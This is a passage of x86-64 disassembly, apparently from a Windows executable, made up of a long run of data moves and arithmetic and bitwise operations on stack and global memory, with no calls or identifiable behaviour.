mov rax, qword [rax]
mov rcx, qword [rsp + 0x5130]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a78]
mov ecx, dword [rsp + 0x2bfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cc4], eax
mov rax, qword [rsp + 0x6330]
mov rax, qword [rax]
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x2bd0]
mov ecx, dword [rsp + 0x2a4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a7c], eax
mov rax, qword [rsp + 0x5ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b4]
sub eax, ecx
mov word [0x140178f18], ax
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x67a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa84]
shl eax, cl
mov rcx, qword [rsp + 0x6778]
mov word [rcx], ax
mov rax, qword [rsp + 0x6578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x884]
sar eax, cl
mov word [rsp + 0xa5c], ax
movzx eax, byte [rsp + 0x118]
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x6580]
mov rcx, qword [rsp + 0x6670]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5268], rax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x69b8], rax
mov rax, qword [rsp + 0x4e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c5c], eax
mov rax, qword [rsp + 0x5f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c2c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6590]
mov dword [rcx], eax
lea rax, [rsp + 0xbe]
mov qword [0x14017a438], rax
movzx eax, byte [rsp + 0xc1]
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
lea rax, [rsp + 0x924]
mov qword [rsp + 0x69c0], rax
mov rax, qword [rsp + 0x5ae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5d10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x990], ax
lea rax, [rsp + 0x51e8]
mov qword [rsp + 0x69c8], rax
mov rax, qword [rsp + 0x5060]
mov ecx, dword [rsp + 0x2c74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cf8], eax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d3c], eax
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
mov qword [rsp + 0x69d0], rax
mov rax, qword [rsp + 0x64a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a0]
add eax, ecx
mov word [0x140178ef4], ax
movzx eax, byte [rsp + 0x12d]
mov rcx, qword [rsp + 0x6668]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd4], al
lea rax, [rsp + 0x8b8]
mov qword [rsp + 0x69d8], rax
movsx eax, byte [rsp + 0x117]
movsx ecx, byte [rsp + 0xf6]
sub eax, ecx
mov rcx, qword [rsp + 0x6460]
mov byte [rcx], al
movsx eax, word [rsp + 0xae4]
movsx ecx, word [rsp + 0x944]
add eax, ecx
mov rcx, qword [rsp + 0x5f30]
mov word [rcx], ax
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x69e0], rax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x5498]
mov qword [rsp + 0x69e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69e8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x65c0]
mov eax, dword [rax]
mov dword [rsp + 0x2d40], eax
mov rax, qword [rsp + 0x5fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c28]
mov qword [rsp + 0x69f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69f0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6308]
mov qword [rcx], rax
movzx eax, word [rsp + 0xbcc]
mov rcx, qword [0x14017a100]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a370]
mov word [rcx], ax
mov rax, qword [rsp + 0x6560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
xor eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov byte [rcx], al
movzx eax, word [rsp + 0x874]
mov word [rsp + 0xbdc], ax
movzx eax, word [0x140178f18]
movzx ecx, word [rsp + 0x8c4]
and eax, ecx
mov word [rsp + 0xb04], ax
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x64b8]
mov ecx, dword [rsp + 0x2adc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x6500]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ee8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bd8]
mov dword [rsp + 0x2d44], eax
mov rax, qword [rsp + 0x5d48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x55a8], rax
movzx eax, byte [0x140178e96]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178eca], al
movzx eax, byte [rsp + 0x10d]
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x5508]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6788]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9c4], ax
mov rax, qword [rsp + 0x67c8]
movzx eax, byte [rax]
mov byte [rsp + 0x138], al
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0xd4]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x5b98]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bc4], eax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x69f8], rax
mov rax, qword [rsp + 0x5708]
mov rcx, qword [rsp + 0x51e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6178]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c34]
mov dword [rsp + 0x2d48], eax
mov rax, qword [rsp + 0x5c68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb40]
add eax, ecx
mov word [0x140178f10], ax
movzx eax, word [rsp + 0x9d8]
movzx ecx, word [rsp + 0x8a8]
shl eax, cl
mov word [rsp + 0x9c0], ax
mov rax, qword [rsp + 0x66b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x105]
sar eax, cl
mov rcx, qword [rsp + 0x5430]
mov byte [rcx], al
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
mov word [rsp + 0xbe0], ax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x5058]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7f], al
lea rax, [rsp + 0x5140]
mov qword [rsp + 0x6a00], rax
mov rax, qword [rsp + 0x6278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d38]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b90], eax
mov rax, qword [rsp + 0x5f48]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
mov rax, qword [str.kD3]
mov qword [rsp + 0x6a08], rax
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x878]
add eax, ecx
mov word [rsp + 0x9fc], ax
movzx eax, byte [rsp + 0xd3]
mov byte [0x14017a0fc], al
movzx eax, word [rsp + 0xa28]
mov word [rsp + 0xbe4], ax
movsx eax, byte [rsp + 0x122]
movsx ecx, byte [rsp + 0x117]
sub eax, ecx
mov byte [rsp + 0x78], al
movsx eax, word [rsp + 0x958]
mov rcx, qword [rsp + 0x5ca0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d08]
mov qword [rsp + 0x6a10], rax
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x5560]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
mov rax, qword [rsp + 0x6640]
mov eax, dword [rax]
mov dword [rsp + 0x2d4c], eax
mov rax, qword [rsp + 0x5038]
mov rcx, qword [rsp + 0x62c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bd0], eax
lea rax, [rsp + 0x63]
mov qword [rsp + 0x6a18], rax
lea rax, [rsp + 0xb94]
mov qword [0x14017a440], rax
mov rax, qword [rsp + 0x6130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xac4]
movsx ecx, word [rsp + 0x874]
sub eax, ecx
mov word [rsp + 0xae0], ax
lea rax, [rsp + 0xa4c]
mov qword [rsp + 0x6a20], rax
mov rax, qword [rsp + 0x5a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2908]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b80]
mov eax, dword [rax]
mov dword [rsp + 0x2d50], eax
mov rax, qword [rsp + 0x6978]
mov rcx, qword [rsp + 0x6950]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f28]
mov qword [rsp + 0x6a28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a28]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5740]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xd3]
mov byte [rsp + 0x139], al
movsx eax, word [rsp + 0xba0]
mov rcx, qword [rsp + 0x51e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14017a388], ax
movzx eax, byte [rsp + 0x12f]
mov rcx, qword [rsp + 0x5b40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x72], al
lea rax, [0x14017a0cf]
mov qword [rsp + 0x6a30], rax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0x5668]
mov rcx, qword [rsp + 0x4f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60f0]
mov eax, dword [rax]
mov dword [rsp + 0x2d54], eax
mov rax, qword [rsp + 0x4f80]
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x55b0], rax
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x6a38], rax
mov rax, qword [rsp + 0x68c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6298]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0x8c]
sub eax, ecx
mov byte [0x140178eaf], al
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
mov byte [rsp + 0x13a], al
movzx eax, word [0x14017a350]
mov rcx, qword [rsp + 0x6408]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6720]
mov word [rcx], ax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ab8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
lea rax, [rsp + 0xad]
mov qword [rsp + 0x6a40], rax
mov eax, dword [rsp + 0x2b00]
mov ecx, dword [rsp + 0x2cc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c50], eax
mov rax, qword [rsp + 0x6960]
mov eax, dword [rax]
mov dword [rsp + 0x2d58], eax
mov rax, qword [rsp + 0x50a0]
mov rcx, qword [rsp + 0x53c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5b48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5920]
mov rcx, qword [str.kD3]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
movsx eax, word [rsp + 0x948]
mov rcx, qword [rsp + 0x6700]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140178f34], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
lea rax, [rsp + 0x8a0]
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x53c8]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e75]
xor eax, ecx
mov rcx, qword [rsp + 0x6860]
mov byte [rcx], al
mov rax, qword [rsp + 0x5cd8]
mov ecx, dword [rsp + 0x2d00]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c60], eax
lea rax, [rsp + 0x28ac]
mov qword [rsp + 0x6a58], rax
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4fe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f88]
mov qword [rsp + 0x6a60], rax
mov rax, qword [rsp + 0x5c88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov rcx, qword [0x14017a248]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b8], ax
movzx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x5350]
movzx eax, byte [rax]
mov byte [rsp + 0x13b], al
movsx eax, word [rsp + 0x944]
mov rcx, qword [rsp + 0x5868]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6778]
mov word [rcx], ax
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6728]
mov ecx, dword [rsp + 0x2d38]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6328]
mov dword [rcx], eax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x62d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x64c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5088]
mov qword [rcx], rax
lea rax, [rsp + 0xd7]
mov qword [0x14017a448], rax
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
movzx ecx, word [0x14017a350]
sub eax, ecx
mov word [rsp + 0xa68], ax
movzx eax, byte [rsp + 0xd2]
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x56e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb54]
add eax, ecx
mov word [rsp + 0x950], ax
lea rax, [rsp + 0x9c4]
mov qword [rsp + 0x6a78], rax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov ecx, dword [0x14017a064]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c28]
mov qword [rsp + 0x6a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5b88], rax
lea rax, [rsp + 0x4ea8]
mov qword [rsp + 0x6a88], rax
mov rax, qword [rsp + 0x58c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x8c]
xor eax, ecx
mov byte [0x140178ec6], al
mov rax, qword [0x14017a318]
movzx eax, word [rax]
mov word [rsp + 0xbe8], ax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa80]
sub eax, ecx
mov word [rsp + 0xa60], ax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x6a90], rax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a10], rax
mov rax, qword [rsp + 0x60b8]
mov rax, qword [rax]
mov qword [rsp + 0x6a98], rax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2a18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
lea rax, [rsp + 0x2c74]
mov qword [rsp + 0x6aa0], rax
lea rax, [rsp + 0x990]
mov qword [0x14017a450], rax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf3]
sub eax, ecx
mov rcx, qword [rsp + 0x66b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6068]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x64a0]
mov byte [rcx], al
lea rax, [rsp + 0x6f]
mov qword [rsp + 0x6aa8], rax
mov rax, qword [rsp + 0x5db8]
movsx eax, word [rax]
movsx ecx, word [0x140178f30]
add eax, ecx
mov word [rsp + 0xb8c], ax
lea rax, [rsp + 0x6680]
mov qword [rsp + 0x6ab0], rax
mov rax, qword [rsp + 0x6140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x6288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5210], rax
mov eax, dword [rsp + 0x2c38]
mov dword [rsp + 0x2d5c], eax
lea rax, [rsp + 0x134]
mov qword [0x14017a458], rax
movzx eax, word [rsp + 0xa04]
movzx ecx, word [rsp + 0xb84]
sub eax, ecx
mov word [rsp + 0xa50], ax
lea rax, [0x140178e8a]
mov qword [rsp + 0x6ab8], rax
movsx eax, word [rsp + 0x9e4]
mov rcx, qword [rsp + 0x6718]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8fc], ax
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x5b40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x6588]
mov rax, qword [rax]
mov qword [rsp + 0x6ac0], rax
mov eax, dword [rsp + 0x2ab4]
movzx ecx, al
mov eax, dword [rsp + 0x2aa8]
shr eax, cl
mov rcx, qword [rsp + 0x6328]
mov dword [rcx], eax
lea rax, [rsp + 0x5178]
mov qword [rsp + 0x6ac8], rax
mov eax, dword [rsp + 0x2ca8]
mov rcx, qword [rsp + 0x6590]
mov qword [rsp + 0x6ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x64f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
xor eax, ecx
mov word [0x140178efc], ax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [0x14017a200]
or eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6080]
movzx eax, byte [rax]
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0x6400]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
lea rax, [rsp + 0x9ec]
mov qword [rsp + 0x6ad8], rax
mov rax, qword [rsp + 0x6380]
mov ecx, dword [rsp + 0x2b8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ac0], eax
mov eax, dword [rsp + 0x2bd8]
mov dword [rsp + 0x2d60], eax
mov rax, qword [rsp + 0x5740]
mov rcx, qword [rsp + 0x5da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5c60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69a0]
mov rcx, qword [rsp + 0x65a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b50]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x13e], al
movsx eax, word [rsp + 0xabc]
mov rcx, qword [0x14017a380]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a1d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x62a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x5e10]
movzx eax, word [rax]
mov word [rsp + 0xbec], ax
mov rax, qword [rsp + 0x65f0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a3c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x62b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x56e8], rax
mov rax, qword [rsp + 0x5d08]
mov qword [rsp + 0x6ae0], rax
mov rax, qword [rsp + 0x4e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ccc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x5730]
mov eax, dword [rax]
mov dword [rsp + 0x2d64], eax
movzx eax, word [rsp + 0x884]
mov rcx, qword [rsp + 0x61a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9a4], ax
lea rax, [rsp + 0x55]
mov qword [0x14017a460], rax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x6028]
movzx eax, word [rax]
mov word [rsp + 0xbf0], ax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xabc], ax
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x6ae8], rax
mov eax, dword [rsp + 0x2c60]
mov ecx, dword [rsp + 0x2bb0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov dword [rcx], eax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x56f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5438]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bfc]
mov dword [rsp + 0x2d68], eax
mov rax, qword [rsp + 0x5910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [rsp + 0xa84], ax
mov rax, qword [rsp + 0x5ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f38], ax
lea rax, [rsp + 0xf3]
mov qword [rsp + 0x6af0], rax
mov rax, qword [rsp + 0x5b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0x57]
mov qword [rsp + 0x6af8], rax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6228]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5348], rax
mov rax, qword [rsp + 0x6880]
mov rcx, qword [rsp + 0x59f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x5b08]
mov rax, qword [rax]
mov qword [rsp + 0x6b00], rax
mov rax, qword [rsp + 0x5580]
mov rcx, qword [rsp + 0x53a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x62c8]
mov dword [rcx], eax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x6b08], rax
mov rax, qword [rsp + 0x52c0]
movzx eax, word [rax]
movzx ecx, word [0x140178f18]
add eax, ecx
mov word [0x140178f04], ax
movzx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc1]
sub eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov byte [rcx], al
mov rax, qword [0x14017a068]
movzx eax, word [rax]
mov word [rsp + 0xbf4], ax
movzx eax, word [rsp + 0x9d4]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb4c], ax
mov eax, dword [rsp + 0x2b20]
mov dword [rsp + 0x2d6c], eax
mov rax, qword [rsp + 0x6478]
mov rcx, qword [rsp + 0x5f28]
mov qword [rsp + 0x6b10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b10]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x60b8]
mov qword [rsp + 0x6b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b18]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5088]
mov qword [rcx], rax
mov rax, qword [rsp + 0x64b8]
mov eax, dword [rax]
mov dword [rsp + 0x2d70], eax
mov rax, qword [0x14017a210]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x114]
or eax, ecx
mov byte [0x140178eca], al
movsx eax, word [rsp + 0xae8]
mov rcx, qword [rsp + 0x5db8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9f0], ax
lea rax, [rsp + 0x71]
mov qword [rsp + 0x6b20], rax
mov rax, qword [rsp + 0x4fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5880]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8cc], ax
lea rax, [rsp + 0x9f]
mov qword [rsp + 0x6b28], rax
mov rax, qword [rsp + 0x64e8]
mov rcx, qword [rsp + 0x6228]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5ce0], rax
mov rax, qword [rsp + 0x5f18]
mov ecx, dword [rsp + 0x2d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d20], eax
mov eax, dword [rsp + 0x2cf8]
mov dword [rsp + 0x2d74], eax
mov rax, qword [rsp + 0x5a60]
mov rcx, qword [rsp + 0x6798]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5c80]
mov qword [rcx], rax
lea rax, [rsp + 0xa94]
mov qword [0x14017a468], rax
lea rax, [rsp + 0xe6]
mov qword [rsp + 0x6b30], rax
movzx eax, word [rsp + 0xa44]
mov rcx, qword [rsp + 0x5d10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x65d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5428]
movzx eax, byte [rax]
mov rcx, qword [0x14017a198]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6490]
mov byte [rcx], al
lea rax, [rsp + 0x77]
mov qword [rsp + 0x6b38], rax
mov rax, qword [rsp + 0x6240]
mov rcx, qword [rsp + 0x59d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5da0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b5c]
mov dword [rsp + 0x2d78], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x5c18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5a38], rax
mov rax, qword [rsp + 0x66c0]
mov ecx, dword [rsp + 0x2bd8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x69a8]
mov dword [rcx], eax
mov rax, qword [0x14017a1b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
sar eax, cl
